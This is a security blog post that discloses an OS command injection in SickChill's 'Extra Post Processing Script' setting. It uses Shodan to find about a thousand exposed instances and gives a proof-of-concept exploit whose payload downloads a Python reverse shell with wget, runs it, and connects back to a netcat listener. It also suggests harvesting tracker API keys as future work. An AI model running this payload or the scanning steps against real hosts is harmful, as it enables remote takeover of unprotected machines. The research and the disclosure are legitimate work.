Some time ago I got inspired by one post in /r/netsec about exposed Calibre instances which really captured my attention and my interest. Being a beginner myself, I decided to look around me to find something similar. Since I setup my homelab few months ago I have played with different programs, so I decided that I would start from there. After a bit of thought, I have decided to focus on Sickrage which, to be fair, when I had installed was not split yet into Sickrage and SickChill.
Anyway, here I am writing a posts about my findings and results with SickChill (mainly) or some slightly older version of SickRage.
Disclaimer
Everything that has been written or discussed here has purely educational purpose. I do not support, encourage, provide resource for or favour the use or misuse of the information here provided to perform malicious or illegal acts.
Introduction
NOTE: The code to which I refer in this post is available on https://github.com/Sudneo/sicksploit.
SickChill and SickRage are two forks of SickBeard, an older program, and all of them provide the same functionality: automatically downloading Torrents/Usenet files for TV Series. Once the program is installed on a machine, Sick* can look for episodes of the TV Series chosen and their subtitles, can download them and can rename and organize the files. I focused mainly on SickChill since this is a version of the now forked project which is much more similar to how SickRage was when I first installed than the current SickRage.
Knock, Knock, is SickChill home?
The first step of my research was a simple experiment to answer a simple question: is this software actually used? And if it is, do people run it on public hosts? In order to find this out I decided to use Shodan (finally a good chance to use the 5 Euros subscription grabbed last Black Friday), but before I could do this, I had to generate an effective query. I fired up my SickChill instance and checked a sample request to the service. The request/response looked as follows:
The application does not seem to set any particular header that can be used to uniquely identify it. Also, the port on which it runs is not really fixed: 8081 is a popular choice, but so is 8083 and maybe other ports as well. A relatively identifying characteristic is the Server used: Tornado Server. This is a Python webserver, and although it seems to have a decent adoption rate, I decided to use this together with the constraint that the server should redirect to /home, as this is the default behavior for SickChill/Rage.
I run Shodan with the query:
Server: TornadoServer and Location: /home
At the present moment 1874 hits pop up. I understand that 1874 is not a huge number compared to the billions of network enabled devices on the internet, but it still represents a decent amount of possibly exposed machines, and definitely it represents a good motivation to try to exploit this software.
Improving the target acquisition
Among the 1874 results of Shodan there are false positives, broken/misconfigured instances and so on. In order to improve the quality of the results, I have then written a simple script that not only finds the results from Shodan, but queries the machines found for a specific page that would not be accessible without permissions and proper configuration, and reports the instance as a match only if this request succeeds.
I called the small tool SickOwn and it can be found in the project repo.
SickOwn result
In oder to run SickOwn it is necessary a Shodan API key. If you have one, then you can run the script simply with:
python sickown.py SHODAN_API_KEY
Example usage:
$ python sickown.py -h
usage: sickown.py [-h] [-t TIMEOUT] API
Use Shodan.io to track down vulnerable instances of SickChill/Rage
positional arguments:
API The API_KEY for Shodan
optional arguments:
-h, --help show this help message and exit
-t TIMEOUT, --timeout TIMEOUT
The timeout to use for the HTTP requests to the
targets found
At the moment the project uses Python2.7, I will update it soon to Python3.6 as well.
The tool writes IP:PORT combination that passed the verification test, and are therefore considered exposed instances of SickChill, in a file called sicklist.txt.
/usr/bin/python2.7 /sicksploit/sickown.py API_KEY
[+] Looking for targets using Shodan API.
[+] Query = Server: TornadoServer and Location: /home
[+] Found 1874 targets.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8083 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[...]
A full run of this script, as of today, found 836 confirmed open instances. This result is obtained with a timeout of 3 Seconds for the request(s); it is likely that at least a portion of these machines are geographically very far from the place where I am running the script from, therefore using a longer timeout will likely lead to more hits. In fact, running the script using a timeout of 10 Seconds leads to 1128 open instances.
Now What?
The question is legitimate: now what? Now we know that there are many open instances of this program, meaning that there must be somewhere, in some corner of the planet, someone with bad intentions that wants to exploit it. For this, it might be worth to find some vulnerability myself and report it to get it fixed. The chances that the people who installed a service like this on a public host and exposed it on a public interface, without configuring authentication for it, would upgrade the service are quite low, but I think it’s still worth a try.
Full Disclosure: I didn’t even look for classic web vulnerabilities such as XSS or the kind, I suck at web security, I am not interested in it and I did not want to waste my time. However, I looked around and started to think what functionality could possibly be exploited or abused.
Finding the vulnerability
SickChill does not offer much room in terms of user input, the application flow is pretty simple: besides the general configuration the user searches some TV Series by name, Sick* looks for it with its own logic, the users adds it, chooses some options for the download (most of the time predefined) and that’s it. I decided then to focus on the configuration, which is the place where I - as a user - can provide more input. Among the many options there is one that stands out: Extra Post Processing Script.
Now, to understand what this is, there is a link to a wiki, which is the Github page of the project.
The wiki says:
Extra Scripts:
Examples:
Windows: C:\Python27\pythonw.exe C:\Script\test.py
Linux: python /Script/test.py
Use single back slashes, SickChill/Python will escape them and make them double.
Additional scripts can be used, separated by |
Scripts are called after SickChill's own post-processing.
Parameters that are passed:
argv[0]: File-path to Script
argv[1]: Final full path to the episode file
argv[2]: Original full path of the episode file
argv[3]: Show indexer ID
argv[4]: Season number
argv[5]: Episode number
argv[6]: Episode Air Date
I understand that the functionality is provided to allow users to do something after the built-in post processing of an episode, and in fact all useful data to post process is by default passed to the script selected. I decided to go checking how this functionality is implemented in practice.
The code for this is directly taken from SickBeard, the oldest tool, and can be found in postProcessor.py.
The function which specifically implements this is as follows:
def _run_extra_scripts(self, ep_obj):
[...]
if not sickbeard.EXTRA_SCRIPTS:
return
file_path = self.file_path
[...] Code that sets the episode-related arguments
for curScriptName in sickbeard.EXTRA_SCRIPTS:
if isinstance(curScriptName, six.text_type):
try:
curScriptName = curScriptName.encode(sickbeard.SYS_ENCODING)
except UnicodeEncodeError:
# ignore it
pass
script_cmd = [piece for piece in re.split(r'(\'.*?\'|".*?"| )', curScriptName) if piece.strip()]
script_cmd[0] = ek(os.path.abspath, script_cmd[0])
self._log("Absolute path to script: {0}".format(script_cmd[0]), logger.DEBUG)
script_cmd += [
ep_location, file_path, str(ep_obj.show.indexerid),
str(ep_obj.season), str(ep_obj.episode), str(ep_obj.airdate)
]
# use subprocess to run the command and capture output
self._log("Executing command: {0}".format(script_cmd))
try:
p = subprocess.Popen(
script_cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, cwd=sickbeard.PROG_DIR
)
out, err_ = p.communicate()
self._log("Script result: {0}".format(out), logger.DEBUG)
except Exception as e:
self._log("Unable to run extra_script: {0}".format(ex(e)))
Besides the details, it is possible to observe that:
- There is no sanitation of the input
- The scripts are not restricted to any directory specifically
- It is possible to pass multiple scripts separating them with pipe (|) symbol
From all this, it is pretty clear that this configuration item allows for a trivial OS command injection.
Sicksploit - exploiting SickChill
Once the injection point is found, the limit is pretty much our own imagination. I decided to exploit the instance by uploading a reverse shell and letting the victim host connect to a listening, attacker-controlled machine. The reverse shell is also in the project repository, together with the PoC code that implements this exploit, called sicksploit.
The idea is pretty simple:
- Connect to the open instance
- POST a new configuration in which the Extra Post Processing Script field is PAYLOAD
- Trigger a manual post processing of the folder that the user selected as a target
- Listen from the attacker machine on the specified port
- Profit
The PAYLOAD that I have chosen is very simple but does the trick:
'/usr/bin/wget https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py -O /tmp/shell|/usr/bin/python /tmp/shell %s %s' % (rhost, rport)
Basically it downloads the shell, saves it in /tmp folder and runs it with rhost and rport (attacker machine IP and port) as parameters.
Note: This exploit works only if there is at least one file to be post processed. If SickChill does not have any episode downloaded it will not execute the post processing at all, including the extra scripts, therefore not executing the payload. Obviously, since the instance is open anyway, it is be possible to manually add a TV series episode and wait for it to be downloaded before running the exploit.
The exploitation would be something similar to this from the attacker’s perspective:
root@kali:~# python sicksploit.py http://192.168.1.105:8081 192.168.1.200 4444
[+] Trying to get current values for some config items not to break post-processing.
[+] Parsing current Post Processing configuration.
[+] Successfully Parsed current configuration:
naming_anime_multi_ep: 1
naming_abd_pattern: %SN - %A.D - %EN
delete_non_associated_files: on
naming_sports_pattern: %SN - %A-D - %EN
process_automatically: on
mediabrowser_data: 0|0|0|0|0|0|0|0|0|0
process_method: copy
sony_ps3_data: 0|0|0|0|0|0|0|0|0|0
tivo_data: 0|0|0|0|0|0|0|0|0|0
alt_unrar_tool: unrar
mede8er_data: 0|0|0|0|0|0|0|0|0|0
file_timestamp_timezone: network
naming_anime: None
tv_download_dir: /home/user/process
naming_anime_pattern: Season %0S/%SN - S%0SE%0E - %EN
kodi_data: 0|0|0|0|0|0|0|0|0|0
autopostprocessor_frequency: 10
use_icacls: on
rename_episodes: on
unrar_tool: unrar
unpack: 0
naming_pattern: Season %0S/%SN - S%0SE%0E - %EN
sync_files: !sync,lftp-pget-status,bts,!qb,!qB
naming_multi_ep: 1
postpone_if_sync_files: on
allowed_extensions: nfo,srr,sfv,srt
nfo_rename: on
unpack_dir:
kodi_12plus_data: 0|0|0|0|0|0|0|0|0|0
wdtv_data: 0|0|0|0|0|0|0|0|0|0
[+] Starting to exploit http://192.168.1.105:8081.
[+] Injecting payload: /usr/bin/wget https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py -O /tmp/shell|/usr/bin/python /tmp/shell 192.168.1.200 4444
[+] Exploit succeeded.
[+] Trigger a manual post-processing of /home/user/process to execute the injected payload.
[+] Manual post processing correctly scheduled. It might take a few minutes to actually get executed.
After a few seconds, on the attacker’s machine:
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.200] from sickchill.home [192.168.1.105] 46106
$
From SickChill perspective, the log reports (from bottom to top):
2019-01-17 20:08:40 INFO POSTPROCESSOR-MANUAL :: Executing command: [u'/usr/bin/python', '/tmp/shell', '192.168.1.200', '4444', '[...]', '[...]', '253463', '3', '1', '2016-10-21']
AA Downloaded: 1 files, 292 in 0s (23.8 MB/s)
AA Total wall clock time: 0.9s
AA FINISHED --2019-01-17 20:08:40--
AA wget: unable to resolve host address '2016-10-21'
AA Resolving 2016-10-21 (2016-10-21)... failed: Temporary failure in name resolution.
AA --2019-01-17 20:08:39-- http://2016-10-21/
AA Connecting to 1 (1)|0.0.0.1|:80... failed: Invalid argument.
AA Resolving 1 (1)... 0.0.0.1
AA --2019-01-17 20:08:39-- http://1/
AA Connecting to 3 (3)|0.0.0.3|:80... failed: Invalid argument.
AA Resolving 3 (3)... 0.0.0.3
AA --2019-01-17 20:08:39-- http://3/
AA Connecting to 253463 (253463)|0.3.222.23|:80... failed: Invalid argument.
AA Resolving 253463 (253463)... 0.3.222.23
AA --2019-01-17 20:08:39-- http://253463/
AA /home/user/process/Black.Mirror.S03E01.PROPER.WEBRip.x264-TURBO[rarbg]/Black.Mirror.S03E01.PROPER.WEBRip.x264-TURBO.mkv: Scheme missing.
AA /home/user/series/Black Mirror/Season 03/Black Mirror - S03E01 - Nosedive.mkv: Scheme missing.
AA 2019-01-17 20:08:39 (23.8 MB/s) - '/tmp/shell' saved [292/292]
AA 0K 100% 23.8M=0s
AA Saving to: '/tmp/shell'
AA Length: 292 [text/plain]
AA HTTP request sent, awaiting response... 200 OK
AA Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.36.133|:443... connected.
AA Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.36.133
AA --2019-01-17 20:08:39-- https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py
AA ERROR: could not open HSTS store at '/home/user/.wget-hsts'. HSTS will be disabled.
2019-01-17 20:08:39 INFO POSTPROCESSOR-MANUAL :: Executing command: [u'/usr/bin/wget', 'https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py', '-O', '/tmp/shell', '[ep-name]', '[ep-path]', '253463', '3', '1', '2016-10-21']
As it is easy to see, SickChill does not complain and executes both the commands even though it adds extra arguments (which is not a problem).
Additional Info
I have reported the vulnerability more than a month ago (on 15th of December) on the Github page of SickChill. I have been in contact with the main author/maintainer who discussed a fix to this issue. Despite this, I suppose this vulnerability is not top priority since it is exploitable only when the user endangers him/herself by not configuring authentication in front of the SickChill instance, and therefore it is not fixed yet.
Future work
Another interesting project that could be done, taking inspiration from this, is harvesting API keys for private trackers or Usenet logins from the configuration page, wherever these are displayed in plaintext.
Conclusion
The amount of misconfigured services, even the most uncommon ones, is astonishing. Simple, trivial I would say, exploits like this would allow an attacker to gain local access on hundreds of machines across the Internet. Needless to say, when configuring programs which do not have a strong security profile (but also in general) it is crucial not to expose such services to the Internet or -at the very least- configuring a strong authentication in front.
For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.